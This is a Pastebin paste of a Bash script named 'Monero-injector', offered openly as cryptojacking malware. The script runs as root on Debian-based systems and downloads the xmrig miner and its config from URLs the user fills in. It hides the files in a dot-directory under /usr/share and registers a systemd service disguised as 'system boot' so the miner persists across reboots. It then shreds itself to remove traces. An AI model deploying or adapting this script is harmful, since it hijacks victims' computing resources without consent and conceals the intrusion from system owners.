Advertisement
FlyFar

Monero-injector - injects xmrig miner to debain based systems as a system service

Mar 28th, 2023 (edited)
1,034
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.85 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. # An automated monero mining (injector) scripts which mines monero for you in targeted system
  3. # Simple automated script which injects xmrig miner to debain based systems as a system service and persists along reboots.
  4. # Simple to use. kindly change url of xmrig and config.json to your file location address.
  5. # PLEASE DON'T FORGET TO ADD URL OF XMRIG AND CONFIG. YOU CAN ALSO SET YOUR OWN FTP SERVER AND PLACE FILES IN IT.
  6. if [[ $EUID -eq 0 ]]
  7. then
  8.    dircheck="/usr/share/.logstxt"
  9.    filcheck="/etc/systemd/systemd/xmrig.service"
  10.    filename="$0"
  11.    exits () {
  12.    
  13.     if [[ -d "$dircheck" ]]
  14.     then
  15.        rm -r ${dircheck}
  16.     fi
  17.    
  18.     if [[ -f "$filcheck" ]]
  19.     then
  20.        rm ${filcheck}
  21.     fi
  22.    }
  23.    exits
  24.    
  25.    files=$(curl -s -O <url of xmrig>  -O <url for config.json> )  #add url of xmrig file and config.json.
  26.    touch xmrig.service
  27.    per=$(chmod 777 xmrig config.json && chmod 644 xmrig.service)
  28.    dir=$(mkdir /usr/share/.logstxt)
  29.    move=$(mv xmrig config.json /usr/share/.logstxt/ && mv xmrig.service /etc/systemd/system/)
  30.    
  31.    threads=$(lscpu -p | grep -c "^[0-9]")
  32.    tf=$(printf %.f "$((25 * $threads))e-2")
  33.    append=$(echo -e "[Unit]\nDescription=system boot\nAfter=network.target\n\n[Service]\nType=simple\nRestart=on-failure\nRestartSec=1200\nUser=root\nExecStart=/usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json --      threads=$tf\nRemainAfterExit=yes\nKillMode=process\n\n[Install]\nWantedBy=multi-user.target">/etc/systemd/system/xmrig.service)
  34.    sys=$(echo "vm.nr_hugepages=1280">>/etc/sysctl.conf)
  35.    system=$(sysctl --quiet --system && systemctl daemon-reload && systemctl enable --now xmrig --quiet)
  36.    
  37.    $files
  38.    $per
  39.    $dir
  40.    $move
  41.    $append
  42.    $sys
  43.    $system
  44.    
  45.    if [[ $? -eq 0 ]]
  46.    then
  47.       shred -u ${filename}
  48.    fi
  49. else
  50.    echo "Please Run as root!"
  51. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement